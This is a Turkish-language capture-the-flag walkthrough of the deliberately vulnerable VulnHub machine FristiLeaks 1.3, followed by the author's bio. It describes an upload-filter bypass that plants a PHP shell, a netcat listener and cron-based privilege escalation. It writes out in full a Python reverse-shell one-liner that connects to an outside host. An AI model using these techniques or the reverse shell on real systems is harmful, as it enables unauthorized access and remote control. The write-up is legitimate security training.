ZAFİYETLİ MAKİNE ÇÖZÜMÜ |VulnHub FristiLeaks: 1.3

Bu yazımda VulnHub platformunda bulunan çözümlemiş olduğum “FristiLeaks: 1.3 ” isimli makinenin adım adım çözümlerini inceleyeceğiz. Odaya göz atmak için https://www.vulnhub.com/entry/fristileaks-13,133/  bağlantısını ziyaret edebilirsiniz.

ZAFİYETLİ MAKİNE ÇÖZÜMÜ |VulnHub FristiLeaks: 1.3

FRİSTİLEAKS:1.3

Fristileaks makinamızı sanal makinamıza  kurduktan sonra virtualbox kullanıyorsanız vicual box için mac verilmiş dikkat edin yoksa kendi ağınız üzerinden bulunması zorlaşıyor.

İlk adım olarak makine ip adresini bulabilmek için netdiscover ile tarama gerçekleştiriyoruz.

İlk 3 ip vitualbox'ın kendi ipsi iken 4. ipimiz fristi makinamızın ipsidir.Ipyi bulduğumuza göre 2. adım olarak nmap taraması ile devam ediyorum. Görseldeki gibi nmap -sS -sV -A -T4 parametrelerini kullanarak tarama yapıyorum.

80 HTTP portunun açık olduğunu görüp siteye gidiyorum ve görünürde bir şey olmadığını fark ediyorum daha sonra gobuster taraması ile alt dizinlere bakabiliriz 

robots.txt dosyasına baktığımızda 3 alt dizin bizi karşılıyor /cola /sisi /beer bunlara baktığımızda bir resim bize aradığımız url in burası olmadığını söylüyor.

burda herhangi bir şey bulamayıp kaynak kodu inceliyorum ve bir kullanıcı mesajina erişiyorum ve bize bazı adreslerini bırakmışlar fakat işe yarar bir şey yok .

Daha sonra bu verilerin birer içecek olduğunu fark ediiyorum yani bunlar bir içecek fristi de öyle bu yüzden fristiyi deniyorum.

Giriş panelini buldum ve nasıl girebilirim diye incelemelerime devam ediyorum.

Bize burda sitede bulunan fotoğrafları hashlediklerini ve bunu base64 ile yaptıklarını söylüyor ve eezeepz adındaki kullanıcıya da bir mesaj bırakılmış.Yani siteye erişimi olan bir kullanıcı olabileceğini düşünüyorum ve site kaynağını incelemeye devam ediyorum.

Yorum satırı içerisinde bir hash oldğunu fark ediyorum ve bulduğum base64 kodu bir png kodu ile eşleşiyor bunu png olarak kaydettiğimizde karşımıza

keKkeKKeKKeKkEkkEk çıkıyor

burdan sonra bize bir şifre veya kullanıcı adı verdiğini düşünüyorum.

siteye tekrar dönüyorum ve ipucunu bize bırakan arkadaş yanında bir de isim bırakmış bununla bulduğum şeyi panelde deniyorum ve giriş başarılı

Bir fotoğraf yükleme panemli beni karşılıyor.

Burda bir php çalıştırmayı düşünüyorum fakat önce deneme amaçlı dosya ve fotoğraf yüklüyorum

dosya türünü kabul etmediği için php shellime jpg uzantısı atıp yüklüyorum ve http://10.0.2.4/fristi/uploads/mstf.php.jpg bağlantı

netcat ile nc -nvlp port no yaparak ağı dinlemeye başlayıp shelli çalıştırıyorum.

ağa giriş sağlıyorum, uname -a yaparak kim olduğuma bakıyorum ve içerdeyim

kullanıcıları incelerken admin eezeepz ve fristlygod kullanıcılarını görüyorum

sadece eezeepz ye giriş yapabiliyorum bu yüzden ona giriyorum ve notes.txt dosyasına ulaşıyorum

 Notes.txt içerisinde bize bazı bilgiler vermiş.

 burada admin yetkisi ile çalışabilecek bir cron olduğunu ve bize burada çalıştırabileceğimiz komutları söylüyor./tmp ye gidiyorum.

 buraya erişimim olduğunu görüyorum ve bunun için bir python shell buluyorum ve bunu uygulamaya çalışıyorum.Shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

fakat sistemde bunu düzenleyemediğimi fark ediyorum bu yüzden kendi apache serverımı ayağa kaldırıyorum ve düzenleyi oradan yükleme sağlayabileceğim aklıma geliyor.karşı cihazdan wget komutu ile shell dosyasını indiriyorum ve runthis diye bir dizin oluşturuyorum ve shell dosyamı çalıştırması için python komut ile içerisine yazıyorum çünkü cronların runthiste admin yetkisi ile çalışacağını görmüştüm yine ağı dinelemeye başlıyorum ve sisteme admin olarak login oluyorum.

whoami komutunu kullanıyorum ve admin olduğumu görüyorum.whoyourgodnow.txt ve cryptopass.txt adında iki dosya görüyorum ve bunun fristigod şifresini tuttuğunu düşünüyorum şifre algoritmalarını veren python kodunu görüyorum base64 ve root13 ile şifreliyor mesaji önce root 13 ile çözüp base64 formuna alıyorum daha sonra ise base64 formunda çözünce şifreye erişiyorum

hashleri pythonda algoritmam sayesinde decode ediyorum ve şifrelere ulaşım sağlıyorum

daha sonra fristigod kullanıcısına giriş yapmak için su komutunu kullanıyorum ve su komutunu kullanamadığımı görüyorum bu yüzden python komutu ile komut çalıştırıp yetki elde ediyorum ve tekrar deniyorum.Şifrelerimi denedikten sonra erişime ulaşıyorum.

fristigod kullanıcım içerisinde  dosyalarını görüyorum ve aramaya devam ediyorum.

 Sonra /var içerisinde fristligod adında bir dizin olduğunu hatırlıyorum

ve burda .secret_admin_stuff dizinin içerisine girdiğimde  root olarak çalıştırabileceğim dosyalara bakıyorum doCom adında ki o dosyayı görüyorum. sudo -u fristi ./doCom "ls -al /root/" komutunu çalıştırarak rootta bulunan bilgilere erişim sağlıyorum. Burada bir fristileaks_secrets.txt dosyası olduğunu görüyorum ve aynı şekilde bu text dosyasını okumak için tekrar komut çalıştırıyorum.

daha sonra ise okuyunca flag e ulaşıyorum ve makinamı kapatıyorum. Makinanın cözümünü yaparken keyif aldığımı söylemeden edemiyor ve herkese başarılar diliyorum başka yazılarda buluşmak dileğiyle...

 

I am studying Forensic Informatics Engineering at Firat University. I am a three-year student who actively enjoys working in communities, is compatible with teamwork, open to learning, participates in trainings and conferences, and takes an active part in community work. I have been interested in cybersecurity for more than 2 years and have been dealing with CTF and similar issues. I am interested in system analysis and log analysis. I am working in the pentest field and also improving myself in the network field.